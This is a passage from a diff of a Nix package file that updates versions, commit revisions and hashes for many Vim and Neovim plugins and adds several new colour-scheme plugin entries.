"1d1m30wrjm3s18672j97ypbky59mppn8af3vl0db7pf4c7bv2vbv"; + rev = "f2d90dedb45e35f7563d2ce3a31c6928f79de678"; + sha256 = "17884drb1mqgbb1pccczpjal623jnyb8z33wrrzgajg3k4z8i2b2"; }; meta.homepage = "https://github.com/Exafunction/codeium.vim/"; }; @@ -2323,12 +2455,12 @@ final: prev: conform-nvim = buildVimPlugin { pname = "conform.nvim"; - version = "2024-01-24"; + version = "2024-03-01"; src = fetchFromGitHub { owner = "stevearc"; repo = "conform.nvim"; - rev = "d99b75b4aedf0e912f41c5740a7267de739cddac"; - sha256 = "1qwrvidiq26fsl7bz3fhfnhn534k8cix488c9kykl9y971kb9mm7"; + rev = "c36fc6492be27108395443a67bcbd2b3280f29c5"; + sha256 = "0vd9qj4ga3l21v84v3a9bj1qs4mkw7dbmslygs9ibchihv2kw98j"; fetchSubmodules = true; }; meta.homepage = "https://github.com/stevearc/conform.nvim/"; @@ -2336,12 +2468,12 @@ final: prev: conjure = buildVimPlugin { pname = "conjure"; - version = "2023-12-07"; + version = "2024-02-02"; src = fetchFromGitHub { owner = "Olical"; repo = "conjure"; - rev = "4880144f13a7693cded529b302de491bfbaedbd6"; - sha256 = "13rixqrw1hdpfxzz8qkwcvf1a2plcrv5mz6aaaa8vdksa3vica8i"; + rev = "f50d4db821489f66ff93afe58155eef42c273a5d"; + sha256 = "1q0in2yay28887vjirs15dcbx9p29rqcwg6fzfg01b8vs7nq63gw"; }; meta.homepage = "https://github.com/Olical/conjure/"; }; @@ -2384,48 +2516,48 @@ final: prev: copilot-lua = buildVimPlugin { pname = "copilot.lua"; - version = "2024-01-07"; + version = "2024-02-28"; src = fetchFromGitHub { owner = "zbirenbaum"; repo = "copilot.lua"; - rev = "b03617a6dc4bc88b65ab5deac1631da9a9c2dcaf"; - sha256 = "1pq8h1fnx5fkk6nj10ag6hx1br0c6vpclmcrw67qss8n52g0zwgk"; + rev = "f7612f5af4a7d7615babf43ab1e67a2d790c13a6"; + sha256 = "01xwq4kz4a3m90z29pf5yp8aiax1nv80lpxzxqc3k7nfr5vfqz95"; }; meta.homepage = "https://github.com/zbirenbaum/copilot.lua/"; }; copilot-vim = buildVimPlugin { pname = "copilot.vim"; - version = "2024-01-23"; + version = "2024-03-01"; src = fetchFromGitHub { owner = "github"; repo = "copilot.vim"; - rev = "a8142d44602f1b3f7b5c03c52b55f8f5d3453bf0"; - sha256 = "08s0n9fyndjkri4lnpdg8hin4ykibxdkl8v3fgpglr944vs7cpff"; + rev = "0754163b9d070d4a99d60ecb45f060bc5f97e281"; + sha256 = "0qslfc64x16a8jwasva08xa8x33lq0q1vkx7mhk29a94r7l6rdjd"; }; meta.homepage = "https://github.com/github/copilot.vim/"; }; coq-artifacts = buildVimPlugin { pname = "coq.artifacts"; - version = "2023-12-22"; + version = "2024-02-18"; src = fetchFromGitHub { owner = "ms-jpq"; repo = "coq.artifacts"; - rev = "e7202d1a1b5cfa91446d5b7a035f915934e4d713"; - sha256 = "11dkb6h7lshnhn8l04hjykwv7lsaxl58jqrxi2hv1byr6406j6xl"; + rev = "1b7915035e1cc6b40d27c69051fd81e8fe6b62db"; + sha256 = "076n62rnr9gahw1n8j94xgrab5q1d09sf98p4nhh32gc1z4w2hd1"; }; meta.homepage = "https://github.com/ms-jpq/coq.artifacts/"; }; coq-thirdparty = buildVimPlugin { pname = "coq.thirdparty"; - version = "2024-01-12"; + version = "2024-02-03"; src = fetchFromGitHub { owner = "ms-jpq"; repo = "coq.thirdparty"; - rev = "99393e405c28883e92e39ad6cdb41120ecfb6f32"; - sha256 = "0jkim8sxi66ra1xdlhlz3b04jh0whrgs43wyw7hdckwjvmn354hp"; + rev = "d9c1492ee60d627b171c7a9bcd0c3bb35af3e0fd"; + sha256 = "0q8fv58v2sy9kq737ddmrrf0vvqpz8wrybnrks3vazq017jc5y7v"; }; meta.homepage = "https://github.com/ms-jpq/coq.thirdparty/"; }; @@ -2444,12 +2576,12 @@ final: prev: coq_nvim = buildVimPlugin { pname = "coq_nvim"; - version = "2024-01-03"; + version = "2024-03-01"; src = fetchFromGitHub { owner = "ms-jpq"; repo = "coq_nvim"; - rev = "4337cb19c7bd922fa9b374456470a753dc1618d4"; - sha256 = "1a13hb39hmpk2pgq615b32kd94arj22rppags99dxg02vz9ngsp8"; + rev = "2f6c60ffbcdb7f61cb9c88364eb4f3886f3a3813"; + sha256 = "0r2w77psva2imp7ixrc00z2ia38bnihgz7dx0qlfd38q2lkz8qgi"; }; meta.homepage = "https://github.com/ms-jpq/coq_nvim/"; }; @@ -2480,12 +2612,12 @@ final: prev: crates-nvim = buildVimPlugin { pname = "crates.nvim"; - version = "2024-01-25"; + version = "2024-02-04"; src = fetchFromGitHub { owner = "saecki"; repo = "crates.nvim"; - rev = "f2a169840e97a8ed2048abb507d2742c3895c85b"; - sha256 = "05j1f2cf9fgsl7kdz2kqq525xm7v6l4p10mh46nf897gllvvajmy"; + rev = "ec2b04a380c9f3a8e6ca38c230e4990d71978143"; + sha256 = "0x3zlvwz3w69sdfp0hqs3ra83mgdf72nmffkpm56f56hnld7r1f1"; }; meta.homepage = "https://github.com/saecki/crates.nvim/"; }; @@ -2574,6 +2706,18 @@ final: prev: meta.homepage = "https://github.com/ctrlpvim/ctrlp.vim/"; }; + cyberdream-nvim = buildVimPlugin { + pname = "cyberdream.nvim"; + version = "2024-02-15"; + src = fetchFromGitHub { + owner = "scottmckendry"; + repo = "cyberdream.nvim"; + rev = "7b83422a9318e036ac21df6a63c0ab1ca745e54f"; + sha256 = "0dhp2726drdvx63vqcm3kmlk6bi7mwjr40fgwz9zspj8jg8gj40n"; + }; + meta.homepage = "https://github.com/scottmckendry/cyberdream.nvim/"; + }; + dart-vim-plugin = buildVimPlugin { pname = "dart-vim-plugin"; version = "2023-07-18"; @@ -2600,28 +2744,40 @@ final: prev: dashboard-nvim = buildVimPlugin { pname = "dashboard-nvim"; - version = "2023-11-10"; + version = "2024-02-13"; src = fetchFromGitHub { owner = "nvimdev"; repo = "dashboard-nvim"; - rev = "63df28409d940f9cac0a925df09d3dc369db9841"; - sha256 = "0731yc308jhqwpgabdb69mz8wi75rbnlwa2rh25rrigr28hxin1c"; + rev = "413442b12d85315fc626c44a0ce4929b213ef604"; + sha256 = "0pdq7c34093a7p92kqs9pkipj91q45j4y4djlik69fmdxi1kcbxy"; }; meta.homepage = "https://github.com/nvimdev/dashboard-nvim/"; }; debugprint-nvim = buildVimPlugin { pname = "debugprint.nvim"; - version = "2024-01-21"; + version = "2024-02-22"; src = fetchFromGitHub { owner = "andrewferrier"; repo = "debugprint.nvim"; - rev = "0c81cd2bab372bba99815f505eb1fe759d38dd88"; - sha256 = "1vyn98y3mnhdpa1yvlarqrs4wzfkgn1g70n5s0x3h1kvs1256g8c"; + rev = "4432f917be7e0c95a21af17b31b216fba60fb131"; + sha256 = "0q21kdch8ksb7i94160w5fmja30yvz6rpxkpls0g3ijaafxyk6w3"; }; meta.homepage = "https://github.com/andrewferrier/debugprint.nvim/"; }; + deepwhite-nvim = buildVimPlugin { + pname = "deepwhite.nvim"; + version = "2024-01-23"; + src = fetchFromGitHub { + owner = "Verf"; + repo = "deepwhite.nvim"; + rev = "7c8d12505dafac651f14d4eaa21623a7658871ab"; + sha256 = "1hz07976ka8q45sgk3ggmb0gk9qz463i8narda3hcws302h8nw8k"; + }; + meta.homepage = "https://github.com/Verf/deepwhite.nvim/"; + }; + defx-git = buildVimPlugin { pname = "defx-git"; version = "2021-01-01"; @@ -2708,12 +2864,12 @@ final: prev: denops-vim = buildVimPlugin { pname = "denops.vim"; - version = "2024-01-25"; + version = "2024-02-29"; src = fetchFromGitHub { owner = "vim-denops"; repo = "denops.vim"; - rev = "16d4bbc5c8e359ab50042f66dc5c9a2cdeabff6e"; - sha256 = "19274maj5nbf7psa4d1nwkd2x7wnmnr6i6sp0h36nk5bgjx5jhzg"; + rev = "b5dfcbc249a7559cbdc08ba1b7dc1cd92dec6d98"; + sha256 = "1avngb6fz152p482v0mrxqy60prv54hzsxp123bwvs4m8d4xfsb9"; }; meta.homepage = "https://github.com/vim-denops/denops.vim/"; }; @@ -3068,38 +3224,50 @@ final: prev: meta.homepage = "https://github.com/doki-theme/doki-theme-vim/"; }; + doom-one-nvim = buildVimPlugin { + pname = "doom-one.nvim"; + version = "2024-02-25"; + src = fetchFromGitHub { + owner = "NTBBloodbath"; + repo = "doom-one.nvim"; + rev = "84d7a3ab8a0458649f10b328a3db7415b0d911d4"; + sha256 = "1szsvx94b30a3p2rpj5idk2yjfc6m2avnclh68yqd3rckrk2nzsa"; + }; + meta.homepage = "https://github.com/NTBBloodbath/doom-one.nvim/"; + }; + dracula-nvim = buildVimPlugin { pname = "dracula.nvim"; - version = "2024-01-23"; + version = "2024-02-25"; src = fetchFromGitHub { owner = "Mofiqul"; repo = "dracula.nvim"; - rev = "a6cb758d4b182d9f2b7e742910078d94877c1059"; - sha256 = "1v6hwh225lh7jayq7y18d8lp8n8dk7scy21f0s5jyppy1rn7yrf8"; + rev = "8d8bddb8814c3e7e62d80dda65a9876f97eb699c"; + sha256 = "0jj60j09k1pdkjqdfj7akxrfwpaccvc2z2r3ksj3zm1gjrnfsyi3"; }; meta.homepage = "https://github.com/Mofiqul/dracula.nvim/"; }; dressing-nvim = buildVimPlugin { pname = "dressing.nvim"; - version = "2024-01-21"; + version = "2024-01-29"; src = fetchFromGitHub { owner = "stevearc"; repo = "dressing.nvim"; - rev = "42d767b04c50a6966c9633e3968bc65c0c2f2bfc"; - sha256 = "0zd2wswd1x83qgs9d6bsh7k5nmdniqd4ba0x4w3qdndp27nafcz9"; + rev = "6f212262061a2120e42da0d1e87326e8a41c0478"; + sha256 = "1xm7jbhgs3raaqc10lg0czayii36di6cx47b527qc67p2qp03q33"; }; meta.homepage = "https://github.com/stevearc/dressing.nvim/"; }; dropbar-nvim = buildVimPlugin { pname = "dropbar.nvim"; - version = "2024-01-25"; + version = "2024-02-24"; src = fetchFromGitHub { owner = "Bekaboo"; repo = "dropbar.nvim"; - rev = "9a8e498374276dd0281736c75b42098ef9fb5622"; - sha256 = "0py5lipmxkd6brzz41sali1bbl61bmaan9visdvvh1jrk7zzzyz6"; + rev = "a133a7deed7431496d8e87e8e4cc9c09a9d78945"; + sha256 = "1ai1fhwlrvr0p8brqapfrdd7rlkarwf78f6plannydd58zlc4j7p"; }; meta.homepage = "https://github.com/Bekaboo/dropbar.nvim/"; }; @@ -3179,24 +3347,24 @@ final: prev: efmls-configs-nvim = buildVimPlugin { pname = "efmls-configs-nvim"; - version = "2024-01-10"; + version = "2024-02-11"; src = fetchFromGitHub { owner = "creativenull"; repo = "efmls-configs-nvim"; - rev = "5372981bc8785facefb51cd50cb0888d1129a291"; - sha256 = "08d67vm14jqkvrds247wy81mhfvfki5vl3fg7lp8s6aafs1y576d"; + rev = "a61c52d325835e24dc14ffb7748a32b8f087ae32"; + sha256 = "0y145z35y5x1frnaw1s9nlap1sjm3gk0fzcgwp0xskmfhcm8b55r"; }; meta.homepage = "https://github.com/creativenull/efmls-configs-nvim/"; }; elixir-tools-nvim = buildVimPlugin { pname = "elixir-tools.nvim"; - version = "2023-12-30"; + version = "2024-02-27"; src = fetchFromGitHub { owner = "elixir-tools"; repo = "elixir-tools.nvim"; - rev = "163522196c962fa87cac0df2a0d1ad332e1e0755"; - sha256 = "02ivwxv9xfpgg1p7nsnmvfkmvgqmy636pl2w1lp4mnhqx2m661z9"; + rev = "0de83ff15ab76608ed4020676193bdf5a9d8b9b7"; + sha256 = "052svi6px486jdgvga8mh5z1djx8fd73jf9j9k1hp7383x9bq56b"; }; meta.homepage = "https://github.com/elixir-tools/elixir-tools.nvim/"; }; @@ -3262,14 +3430,26 @@ final: prev: meta.homepage = "https://github.com/vim-scripts/errormarker.vim/"; }; + eva01-vim = buildVimPlugin { + pname = "eva01.vim"; + version = "2024-01-10"; + src = fetchFromGitHub { + owner = "hachy"; + repo = "eva01.vim"; + rev = "8ab19cfc230806a5ce0ed8f3f75c990c78a949bd"; + sha256 = "0bh2y5afi875b1p3h6lgz4jiszajv61fi14qns6n86n8zamqc3fl"; + }; + meta.homepage = "https://github.com/hachy/eva01.vim/"; + }; + everforest = buildVimPlugin { pname = "everforest"; - version = "2024-01-24"; + version = "2024-02-10"; src = fetchFromGitHub { owner = "sainnhe"; repo = "everforest"; - rev = "89080db9637bb297b4c75ae1511e9f6f61ad9c78"; - sha256 = "0xfq7x8cdp45qn1yrq88mxhvcqfri67laq7yk077g0m274phpjdr"; + rev = "4ce8ea3588265dd7d82113d3a937f53c59685164"; + sha256 = "0p8jp04dx0y3l6ll163m2pvanhysfakra2knmp9mp9rmzyyqk8xp"; }; meta.homepage = "https://github.com/sainnhe/everforest/"; }; @@ -3396,12 +3576,12 @@ final: prev: fidget-nvim = buildNeovimPlugin { pname = "fidget.nvim"; - version = "2024-01-08"; + version = "2024-02-19"; src = fetchFromGitHub { owner = "j-hui"; repo = "fidget.nvim"; - rev = "3a93300c076109d86c7ce35ec67a8034ae6ba9db"; - sha256 = "1ld4611wpgcy5lmrw16clh2hrbx42kfa9pm0a44cb6nfcx2gy1dq"; + rev = "60404ba67044c6ab01894dd5bf77bd64ea5e09aa"; + sha256 = "16wf6jk18r5grg0l0pqmq45nkchj5jdbdqil5v1jrvwpf7d37yki"; }; meta.homepage = "https://github.com/j-hui/fidget.nvim/"; }; @@ -3469,24 +3649,36 @@ final: prev: flatten-nvim = buildVimPlugin { pname = "flatten.nvim"; - version = "2024-01-22"; + version = "2024-01-26"; src = fetchFromGitHub { owner = "willothy"; repo = "flatten.nvim"; - rev = "a999f1abd8fa9f8e2447a65726f9f44288c26f3f"; - sha256 = "1c3r5sqqkdbgb8y1gm0pqdjqyk5gp2x7p9905b5ic6kw451vs4vg"; + rev = "92c59ae6200e6b04aff167577ebb8a9035a6d2b3"; + sha256 = "18sq9bh5l60nfxhc1glgn6nc35089hvp9vgkqp5s5ridnibf77z4"; }; meta.homepage = "https://github.com/willothy/flatten.nvim/"; }; + fleet-theme-nvim = buildVimPlugin { + pname = "fleet-theme-nvim"; + version = "2024-01-08"; + src = fetchFromGitHub { + owner = "felipeagc"; + repo = "fleet-theme-nvim"; + rev = "df10a0e0021d3267eb7c7104107988e4fb977b32"; + sha256 = "0205qig2va639saih817wkan4pmksakdxc3a8k5rr36gwsgyf4gd"; + }; + meta.homepage = "https://github.com/felipeagc/fleet-theme-nvim/"; + }; + flit-nvim = buildVimPlugin { pname = "flit.nvim"; - version = "2024-01-13"; + version = "2024-02-22"; src = fetchFromGitHub { owner = "ggandor"; repo = "flit.nvim"; - rev = "39e3399ed2cbc328778258ac0d497ece9ed8fe32"; - sha256 = "0pmaymd1n8k829h2pb392xbnm9qgbsxxnzgjzv84ylmrvr6r83sq"; + rev = "94419242ba07170b0009514d745e617b120964f4"; + sha256 = "17zzabbn5f7sk0sq0j4df15jmy3q30j851gxzwf2ahrwbzh2v36z"; }; meta.homepage = "https://github.com/ggandor/flit.nvim/"; }; @@ -3541,12 +3733,12 @@ final: prev: flutter-tools-nvim = buildVimPlugin { pname = "flutter-tools.nvim"; - version = "2024-01-22"; + version = "2024-02-19"; src = fetchFromGitHub { owner = "akinsho"; repo = "flutter-tools.nvim"; - rev = "271eec9edb0f1a2bf30ad449ec3b4eeb2c88af05"; - sha256 = "0kk6iz1ziymgscgv7z22m8mbkinnmj7qlnnmh0sikh14kwa21xw3"; + rev = "01d72d9c1bdf2d454a60c5ba450f83e5ea783f6a"; + sha256 = "13xw7vh9ad6ipldxk7q48fd8gwfr88i1n0j3ny18mz3cwg1mldzk"; }; meta.homepage = "https://github.com/akinsho/flutter-tools.nvim/"; }; @@ -3589,12 +3781,12 @@ final: prev: friendly-snippets = buildVimPlugin { pname = "friendly-snippets"; - version = "2024-01-24"; + version = "2024-02-25"; src = fetchFromGitHub { owner = "rafamadriz"; repo = "friendly-snippets"; - rev = "aced40b66b7bae9bc2c37fd7b11841d54727a7b0"; - sha256 = "11lmhx1vnaphljk91aslkzmp71swash5xiqi0jydmdhly753m5g9"; + rev = "dcd4a586439a1c81357d5b9d26319ae218cc9479"; + sha256 = "10326d83hghpfzjkbjy9zy9f07p2wvhl4ss92zfx2mbfj44xg3qi"; }; meta.homepage = "https://github.com/rafamadriz/friendly-snippets/"; }; @@ -3697,24 +3889,24 @@ final: prev: fzf-lua = buildVimPlugin { pname = "fzf-lua"; - version = "2024-01-20"; + version = "2024-02-28"; src = fetchFromGitHub { owner = "ibhagwan"; repo = "fzf-lua"; - rev = "36195a230246fc44e8144ee0b454fc022ac5326b"; - sha256 = "0v86khin5ac4x3w8sw9ffmg9nz7gqclycaxi5dpsm3r13imgkiym"; + rev = "d68d1cfde9bf82061dfdfe35b83fb8636e03766d"; + sha256 = "0mvj6pwlas6gjjfzvh5qhhnkz2i8b90l21qxsbpjyy0p9jp046vv"; }; meta.homepage = "https://github.com/ibhagwan/fzf-lua/"; }; fzf-vim = buildVimPlugin { pname = "fzf.vim"; - version = "2024-01-08"; + version = "2024-02-15"; src = fetchFromGitHub { owner = "junegunn"; repo = "fzf.vim"; - rev = "f6cb5b17897ff0c38f60fecd4b529678bcfec259"; - sha256 = "177ca7w28s854zkjqza0b6mnrhdzpxkscbpxq24yg4aw8r4kjyhs"; + rev = "8ea9574b3ebdc44fbe3dc6381a13f9ce0c290e2f"; + sha256 = "14b8rwmhv47ls8ncr8zhf7zb0ziq5ccgcii9fwn71iqrqhzs0m0b"; }; meta.homepage = "https://github.com/junegunn/fzf.vim/"; }; @@ -3793,12 +3985,12 @@ final: prev: git-blame-nvim = buildVimPlugin { pname = "git-blame.nvim"; - version = "2024-01-23"; + version = "2024-02-29"; src = fetchFromGitHub { owner = "f-person"; repo = "git-blame.nvim"; - rev = "196602b570b1d754b7b8f9a9f75fa7bd88f12ef8"; - sha256 = "15cq84f1y2z690i25hyz32a6bf9hvd8359dscs4d8wyr4gs4xb37"; + rev = "a0282d05adbee80aaf4e2ff35b81b52940b67bed"; + sha256 = "0r678sln1ixgwby2kl6z344iq3dq2xpkyilrq2zpdrq4gfjhmanx"; }; meta.homepage = "https://github.com/f-person/git-blame.nvim/"; }; @@ -3865,12 +4057,12 @@ final: prev: gitsigns-nvim = buildNeovimPlugin { pname = "gitsigns.nvim"; - version = "2024-01-23"; + version = "2024-01-27"; src = fetchFromGitHub { owner = "lewis6991"; repo = "gitsigns.nvim"; - rev = "300a306da9973e81c2c06460f71fd7a079df1f36"; - sha256 = "1vy1p2cgcmfwzgfd011pnvib2vp1zgwv2kp59xlb0v3jxl8rnsvj"; + rev = "2c2463dbd82eddd7dbab881c3a62cfbfbe3c67ae"; + sha256 = "0j9q39pks1lvp9zd97lc1frb2fq0irjizza34kp381gg6smxmc28"; }; meta.homepage = "https://github.com/lewis6991/gitsigns.nvim/"; }; @@ -3901,12 +4093,12 @@ final: prev: gleam-vim = buildVimPlugin { pname = "gleam.vim"; - version = "2020-06-24"; + version = "2024-02-24"; src = fetchFromGitHub { owner = "gleam-lang"; repo = "gleam.vim"; - rev = "847a5ef57c2faef2774242c87f711d1131b89fe6"; - sha256 = "17kjby64zdnmhyia1cx9jnk4mss0gca1jz1m4hff9rl63i56bql1"; + rev = "d2f6d0b0399ab6d76b4a17b77ffec590fb2ec1c2"; + sha256 = "1pimv8cj4a1avxhnv687a9dlf0lvpny9q588lk8xr2dx1fxkcm2a"; }; meta.homepage = "https://github.com/gleam-lang/gleam.vim/"; }; @@ -3925,12 +4117,12 @@ final: prev: go-nvim = buildVimPlugin { pname = "go.nvim"; - version = "2023-12-27"; + version = "2024-03-01"; src = fetchFromGitHub { owner = "ray-x"; repo = "go.nvim"; - rev = "24d2fa373d55d9900cd4b502a88214dc17e6fab6"; - sha256 = "0fvfqfvbnn6a7056yrmqh4fy8vzx4sg8k9n61l9gbv2zqlb13575"; + rev = "8efd0c89f2305a6840a99d7823c40cc3acea91d6"; + sha256 = "087ik3zkw46czxvh8wbg0pci8p9lxb836j922gnvlwm845jxpkif"; }; meta.homepage = "https://github.com/ray-x/go.nvim/"; }; @@ -3973,12 +4165,12 @@ final: prev: goto-preview = buildVimPlugin { pname = "goto-preview"; - version = "2023-11-21"; + version = "2024-02-17"; src = fetchFromGitHub { owner = "rmagatti"; repo = "goto-preview"; - rev = "16ec236fabb40b2cebfe283b1d701338886462db"; - sha256 = "006r0dl3nj0d642lniss3gbclix32bypykh7c8ml7qfh07mjahs7"; + rev = "527fd81a827234e26ca47891abe90497215db2a6"; + sha256 = "123gbz6313b0qz2ydzv1gi4nlv9a1p0lg2ywp0p365lx3684nqfg"; }; meta.homepage = "https://github.com/rmagatti/goto-preview/"; }; @@ -4019,6 +4211,18 @@ final: prev: meta.homepage = "https://github.com/liuchengxu/graphviz.vim/"; }; + gruber-darker-nvim = buildVimPlugin { + pname = "gruber-darker.nvim"; + version = "2024-01-08"; + src = fetchFromGitHub { + owner = "blazkowolf"; + repo = "gruber-darker.nvim"; + rev = "a2dda61d9c1225e16951a51d6b89795b0ac35cd6"; + sha256 = "1sxnprl27svdf4wp38abbywjbipr15mzmx53hg5w0jz1vj0kdjvl"; + }; + meta.homepage = "https://github.com/blazkowolf/gruber-darker.nvim/"; + }; + gruvbox = buildVimPlugin { pname = "gruvbox"; version = "2023-08-14"; @@ -4045,24 +4249,24 @@ final: prev: gruvbox-material = buildVimPlugin { pname = "gruvbox-material"; - version = "2024-01-24"; + version = "2024-02-10"; src = fetchFromGitHub { owner = "sainnhe"; repo = "gruvbox-material"; - rev = "479150eb46ddf7a724782730b1414a9b6bbe4628"; - sha256 = "1dj2cm7an9a0n6pj9j6vin242pfv90qd4cad8d9zn93i6axaafwj"; + rev = "b17fe51688b76e2ccf118e5f76f3978b9a8c503e"; + sha256 = "00yd2gwv71rbnkyq1ldg1jgwp6np994yr3sfvykjxjc98p1lsmfn"; }; meta.homepage = "https://github.com/sainnhe/gruvbox-material/"; }; gruvbox-nvim = buildVimPlugin { pname = "gruvbox.nvim"; - version = "2024-01-01"; + version = "2024-01-29"; src = fetchFromGitHub { owner = "ellisonleao"; repo = "gruvbox.nvim"; - rev = "4176b0b720db0c90ab4030e5c1b4893faf41fd51"; - sha256 = "1s7c02ypjx6jf4fznmgdn8zs41y9jcv5nqj6hfwvza7mwvkbmz57"; + rev = "6e4027ae957cddf7b193adfaec4a8f9e03b4555f"; + sha256 = "1kk38xpwqlzvm3rgdii25nyxd8bcsgjjzin3a7sb0kyg5x3ynscd"; }; meta.homepage = "https://github.com/ellisonleao/gruvbox.nvim/"; }; @@ -4081,12 +4285,12 @@ final: prev: guard-nvim = buildVimPlugin { pname = "guard.nvim"; - version = "2024-01-13"; + version = "2024-02-10"; src = fetchFromGitHub { owner = "nvimdev"; repo = "guard.nvim"; - rev = "d4782860b7da344d7409edbe7ee3693d5b8ea226"; - sha256 = "017lsdh1a3z43dw5liz0hv2fic8rbxmw100rfnj9w3xxf6a5iv9k"; + rev = "4ffdefe0f181ea7e449f60fe94ccc967220181c5"; + sha256 = "0apv9jii9lw1rk84qycxgyfddcri9y5i3zkf2mpd1jhl1czw7iyb"; }; meta.homepage = "https://github.com/nvimdev/guard.nvim/"; }; @@ -4129,12 +4333,12 @@ final: prev: hardtime-nvim = buildVimPlugin { pname = "hardtime.nvim"; - version = "2023-12-30"; + version = "2024-02-03"; src = fetchFromGitHub { owner = "m4xshen"; repo = "hardtime.nvim"; - rev = "4ba3be553fa0b713c7b817f6d201b07d282accf3"; - sha256 = "12z1ii4p1m6qan048f3y7g48dcnp1dj1mfa494as5rbc322r4yfn"; + rev = "860e912895176112868c97b46277f547e149f5e6"; + sha256 = "11pj5lx5k5db66jkm7avkh2nmdqym09ipxa8ylq98d0cqzk8pd8z"; }; meta.homepage = "https://github.com/m4xshen/hardtime.nvim/"; }; @@ -4176,24 +4380,24 @@ final: prev: haskell-snippets-nvim = buildVimPlugin { pname = "haskell-snippets.nvim"; - version = "2024-01-15"; + version = "2024-02-05"; src = fetchFromGitHub { owner = "mrcjkb"; repo = "haskell-snippets.nvim"; - rev = "c26279d568452f5474f26470aff6549f94ff7cd3"; - sha256 = "1rl9g25afaqiw16i582hbnnag0v6xcn28f09cy8vfddj696ygzg6"; + rev = "0adc2b0956c2de107bbf3b0329b5b7450a1d07e4"; + sha256 = "1mpj9vpisd0g0w5qg0ck5lg4birxwlc9dw9haqcsynjpfk3za8q3"; }; meta.homepage = "https://github.com/mrcjkb/haskell-snippets.nvim/"; }; haskell-tools-nvim = buildNeovimPlugin { pname = "haskell-tools.nvim"; - version = "2024-01-21"; + version = "2024-02-25"; src = fetchFromGitHub { owner = "MrcJkb"; repo = "haskell-tools.nvim"; - rev = "24f1ff1ac9f6ad71ba2535d491e6d21e700a6f8b"; - sha256 = "0h7nijxgmwh75nmsim9bzx5qc0sawqj3v1iwzjkkqas05rmnjbjp"; + rev = "0f95fb809b2cfa28f7540ba874356d12426b8d29"; + sha256 = "1qysrm4y83x81f1iymjqfs9qqgmiazgsn4qm6gi8nh2adiwsijmb"; }; meta.homepage = "https://github.com/MrcJkb/haskell-tools.nvim/"; }; @@ -4236,24 +4440,24 @@ final: prev: headlines-nvim = buildVimPlugin { pname = "headlines.nvim"; - version = "2023-11-13"; + version = "2024-02-29"; src = fetchFromGitHub { owner = "lukas-reineke"; repo = "headlines.nvim"; - rev = "e3d7bfdf40e41a020d966d35f8b48d75b90367d2"; - sha256 = "1acxyy5317qf4ry0z32xkk3aasp233nss0nyd8dzfkf631klvzi2"; + rev = "618ef1b2502c565c82254ef7d5b04402194d9ce3"; + sha256 = "1fq7f4i8pskj592lr0620j5chgczhlag6zph49zpm9zziqyak5ak"; }; meta.homepage = "https://github.com/lukas-reineke/headlines.nvim/"; }; heirline-nvim = buildVimPlugin { pname = "heirline.nvim"; - version = "2024-01-12"; + version = "2024-02-14"; src = fetchFromGitHub { owner = "rebelot"; repo = "heirline.nvim"; - rev = "1b6f12e011f225a26aa162905cbf68804479e7e6"; - sha256 = "0kqrriz5c0l5ljmz7amdhg3zrnkx0lpfjdxdagpcp9zyarvgdc6q"; + rev = "03cff30d7e7d3ba6fdc00925f015822f79cef908"; + sha256 = "1bw4077h3cv01wnz0gv5qkdyxi8naszkgl11zi9mqb54asl69c41"; }; meta.homepage = "https://github.com/rebelot/heirline.nvim/"; }; @@ -4319,12 +4523,12 @@ final: prev: hmts-nvim = buildVimPlugin { pname = "hmts.nvim"; - version = "2023-08-28"; + version = "2024-02-02"; src = fetchFromGitHub { owner = "calops"; repo = "hmts.nvim"; - rev = "14fd941d7ec2bb98314a1aacaa2573d97f1629ab"; - sha256 = "09f403w6gglfycghjzx4dc5gv71wqb6ywnmcvm15n1ldxasb6jwd"; + rev = "ba1239972a1f56b94252d4f85a43e777ac419662"; + sha256 = "1n67k7kl2xz3zi75h1qb524nxlgvrgwr4ywsykqwz1k7dlkxh3ck"; }; meta.homepage = "https://github.com/calops/hmts.nvim/"; }; @@ -4367,24 +4571,24 @@ final: prev: hotpot-nvim = buildVimPlugin { pname = "hotpot.nvim"; - version = "2024-01-25"; + version = "2024-02-21"; src = fetchFromGitHub { owner = "rktjmp"; repo = "hotpot.nvim"; - rev = "4deb08235bfccfbba8b0c031b1cfc8189883cdb4"; - sha256 = "0p3q671s1wca9qnyssbigafh7ylbf6yg2rxn1s9gxgmksvmj0d1a"; + rev = "b18d3d82e8545d9f765870c1d8f0da041bd61097"; + sha256 = "1jb2wbkrx4cdncwz991lxhgvfsqkx6zq004ig7jpw8hbkxd6db3z"; }; meta.homepage = "https://github.com/rktjmp/hotpot.nvim/"; }; hover-nvim = buildVimPlugin { pname = "hover.nvim"; - version = "2024-01-24"; + version = "2024-01-26"; src = fetchFromGitHub { owner = "lewis6991"; repo = "hover.nvim"; - rev = "060ea7f5a7b28be87689e2b3d940baf6efc2da04"; - sha256 = "1ql2c34h294mmlwl44q3gd3a1v60iplvx9l9lyhzp8k5ddc8c4i0"; + rev = "4d04667cf3d6b22379e02ccef6a2fdc6e8837d56"; + sha256 = "066c7gjkgp9gj0kcg7vjik3sgzbfrbjm2j6fwcssh1vy9lgx12wk"; }; meta.homepage = "https://github.com/lewis6991/hover.nvim/"; }; @@ -4463,12 +4667,12 @@ final: prev: image-nvim = buildNeovimPlugin { pname = "image.nvim"; - version = "2024-01-08"; + version = "2024-02-27"; src = fetchFromGitHub { owner = "3rd"; repo = "image.nvim"; - rev = "245422e5c4774f0640d41c0eadec77396f2be4a9"; - sha256 = "0mx0sgibinr0vv4fafzm2d5kvqxlyi502imqldz69kxn7xqamfi1"; + rev = "0dd8bdbb8855bc98c534a902c91dc9eddb8155b1"; + sha256 = "0gcnssnqfzk9d0gjw3mvviv3n1f54bqnqirn78gsv0268pibb82x"; }; meta.homepage = "https://github.com/3rd/image.nvim/"; }; @@ -4535,12 +4739,12 @@ final: prev: indent-blankline-nvim = buildVimPlugin { pname = "indent-blankline.nvim"; - version = "2024-01-12"; + version = "2024-02-13"; src = fetchFromGitHub { owner = "lukas-reineke"; repo = "indent-blankline.nvim"; - rev = "12e92044d313c54c438bd786d11684c88f6f78cd"; - sha256 = "0mrlq0ymxg80nr9ph4gk4ldf6xmd4pxarpybb779xy7x417mnjsg"; + rev = "821a7acd88587d966f7e464b0b3031dfe7f5680c"; + sha256 = "0pc9irbfqvy55ymdyd60a69y3vvi1nqvs4j9akg624pvnda10fv7"; }; meta.homepage = "https://github.com/lukas-reineke/indent-blankline.nvim/"; }; @@ -4595,12 +4799,12 @@ final: prev: intellitab-nvim = buildVimPlugin { pname = "intellitab.nvim"; - version = "2021-11-13"; + version = "2024-02-05"; src = fetchFromGitHub { owner = 